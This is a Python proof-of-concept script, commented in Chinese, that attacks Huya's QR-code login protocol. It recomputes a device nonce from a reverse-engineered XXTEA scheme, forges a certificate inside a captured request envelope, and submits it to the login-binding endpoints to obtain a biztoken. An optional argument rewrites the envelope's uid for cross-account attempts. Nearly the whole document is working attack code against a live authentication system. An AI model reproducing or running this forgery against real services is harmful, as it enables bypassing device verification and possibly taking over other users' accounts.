#!/usr/bin/env python3 """纯协议关键验证: 本地重算 nonce 铸证是否被服务端接受(同账号实验)。 背景: 旧结论"必须复用信封原nonce(纯随机必40020)"是建立在不了解nonce结构的基础上。 现已破解: nonce = XXTEA(pack(st)+pack(counter|st<<16), key=MD5hex(uid+k1)[:16]) => 服务端校验的是 nonce 能否用 t3.uid 解密成功, 而非"设备是否生成过该nonce"。 本实验: 用【可信账号uid + k1】本地重算 nonce 铸证, 替换当前新鲜信封的 cert, bind。 ✅ 成功 => 服务端接受本地nonce, 纯协议基石成立! 失败(40020) => 服务端仍校验nonce签发源, 需进一步逆向。 用法: RE_PY scripts/probe_nonce_bind.py <账号> <密码> """ from __future__ import annotations import base64 import json import sys import time from pathlib import Path ROOT = Path(__file__).resolve().parent.parent sys.path.insert(0, str(ROOT)) sys.path.insert(0, str(ROOT / "tools")) sys.path.insert(0, str(ROOT / "scripts")) from app_login_flow import QrAuthRequiredError, login_cred # noqa: E402 from cert_forge import build_p1, decrypt_cert, forge_cert, parse_p1 # noqa: E402 from envelope_forge import Envelope # noqa: E402 from nonce_forge import K1_DEFAULT, gen_nonce # noqa: E402 from probe_huya_qr_bind import QrRole, web_behavior # noqa: E402 from core.huya.device_fingerprint import get_huya_sdid # noqa: E402 def try_bind(wup_b64: str, name: str) -> dict | None: from urllib.parse import quote sdid = get_huya_sdid(allow_fallback=False).sdid pc = QrRole(pc=True, sdid=sdid) ph = QrRole(pc=False, sdid=sdid) beh, page = web_behavior() resp = pc.call("/qrLgn/getQrId", "70001", {"behavior": beh, "type": "", "domainList": "", "page": page}) qrid = ((resp.get("data") or {}).get("qrId")) if resp.get("returnCode") == 0 else None if not qrid: print(f" [{name}] getQrId失败 {resp.get('returnCode')}") return None cp = f"https://aq.huya.com/r/confirm.html?k={qrid}&id=5002" ph.call("/qrLgn/scanQrPicNotify", "70005", {"qrId": qrid, "wupData": wup_b64, "behavior": quote("[]", safe=""), "page": quote(cp, safe="")}) r2 = ph.call("/qrLgn/bindQrLoginUser", "70007", {"qrId": qrid, "wupData": wup_b64, "behavior": quote("[]", safe=""), "page": quote(cp, safe="")}) print(f" [{name}] bindQr rc={r2.get('returnCode')} " f"{r2.get('message') or r2.get('description') or ''}") if r2.get("returnCode") != 0: return {"rc": r2.get("returnCode"), "msg": r2.get("message") or r2.get("description")} for _ in range(4): rt = pc.call("/qrLgn/tryQrLogin", "70003", {"qrId": qrid, "remember": "1", "domainList": "", "behavior": beh, "page": page}) dt = rt.get("data") or {} if dt.get("stage") == 2 and dt.get("biztoken"): return {"ok": True, "uid": dt.get("uid"), "biztoken_len": len(dt["biztoken"])} time.sleep(1.5) return {"stage2_no_token": True} def main() -> int: acct, pwd = sys.argv[1], sys.argv[2] # 可选第三参: 目标uid覆盖(跨账号实验用); 缺省=信封原uid target_uid = int(sys.argv[3]) if len(sys.argv) > 3 else None print(f"[1/3] 密码登录 {acct} ...") try: cred = login_cred(acct, pwd) except QrAuthRequiredError as exc: print(f"❌ {exc}") return 2 print(f" cred {len(cred)}B {cred[:8].hex()}") env = Envelope.load() orig = base64.b64decode(env.cert_b64) f = parse_p1(decrypt_cert(orig)) env_uid = env.uid use_uid = target_uid if target_uid is not None else env_uid print(f"[2/3] 本地重算 nonce (信封uid={env_uid}, 目标uid={use_uid}, " f"k1={K1_DEFAULT[:16]}...)") st = int(time.time() * 1000) rnd = gen_nonce(use_uid, K1_DEFAULT, service_time_ms=st, counter=0) print(f" serviceTime={st} nonce={rnd.hex()}") P1 = build_p1(f["app_id"], f["fingerprint"], cred, rnd=rnd) cert = forge_cert(P1, key_idx=orig[1]) b64 = base64.b64encode(cert).decode() if len(b64) != env.cert_len: print(f" cert b64 长度不符 {len(b64)} != {env.cert_len}, 中止") return 1 raw = bytearray(env.raw) raw[env.cert_off:env.cert_off + env.cert_len] = b64.encode() if use_uid != env_uid: import struct print(f"[patch] 信封uid {env_uid} -> {use_uid}") struct.pack_into(">Q", raw, env.uid_off, use_uid) wup = base64.b64encode(bytes(raw)).decode() print(f"[3/3] bind (wup {len(raw)}B, uid={use_uid}) ...") r = try_bind(wup, "local_nonce") print("结果:", r) (ROOT / "evidence/nonce_bind_result.json").write_text(json.dumps( {"local_nonce": r, "env_uid": env_uid, "uid": use_uid, "st": st, "nonce_hex": rnd.hex(), "ts": time.time()}, ensure_ascii=False, indent=1)) return 0 if r and r.get("ok") else 1 if __name__ == "__main__": raise SystemExit(main())